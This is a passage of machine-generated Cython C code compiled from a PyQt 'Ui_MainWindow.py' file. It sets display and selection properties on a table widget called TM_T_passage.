__Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_7}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":884 * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) * self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) # <<<<<<<<<<<<<< * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.TM_T_passage.setTabKeyNavigation(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSizeAdjustPolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractScrollArea); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_AdjustToContentsOnFirstShow); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 884, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":885 * self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # <<<<<<<<<<<<<< * self.TM_T_passage.setTabKeyNavigation(False) * self.TM_T_passage.setProperty("showDropIndicator", False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setEditTriggers); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_NoEditTriggers); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 885, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":886 * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.TM_T_passage.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setProperty("showDropIndicator", False) * self.TM_T_passage.setDragDropOverwriteMode(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 886, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setTabKeyNavigation); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 886, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__558, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 886, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":887 * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.TM_T_passage.setTabKeyNavigation(False) * self.TM_T_passage.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.TM_T_passage.setDragDropOverwriteMode(False) * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 887, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 887, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__559, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 887, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":888 * self.TM_T_passage.setTabKeyNavigation(False) * self.TM_T_passage.setProperty("showDropIndicator", False) * self.TM_T_passage.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 888, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setDragDropOverwriteMode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 888, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__560, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 888, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":889 * self.TM_T_passage.setProperty("showDropIndicator", False) * self.TM_T_passage.setDragDropOverwriteMode(False) * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) # <<<<<<<<<<<<<< * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setSelectionMode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_SingleSelection); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 889, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":890 * self.TM_T_passage.setDragDropOverwriteMode(False) * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) * self.TM_T_passage.setWordWrap(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSelectionBehavior); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_SelectRows); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_7}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_7}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 890, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":891 * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) # <<<<<<<<<<<<<< * self.TM_T_passage.setWordWrap(False) * self.TM_T_passage.setCornerButtonEnabled(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalScrollMode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_ScrollPerItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 891, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":892 * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) * self.TM_T_passage.setWordWrap(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 892, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWordWrap); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 892, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__561, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 892, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":893 * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) * self.TM_T_passage.setWordWrap(False) * self.TM_T_passage.setCornerButtonEnabled(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 893, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setCornerButtonEnabled); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 893, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); 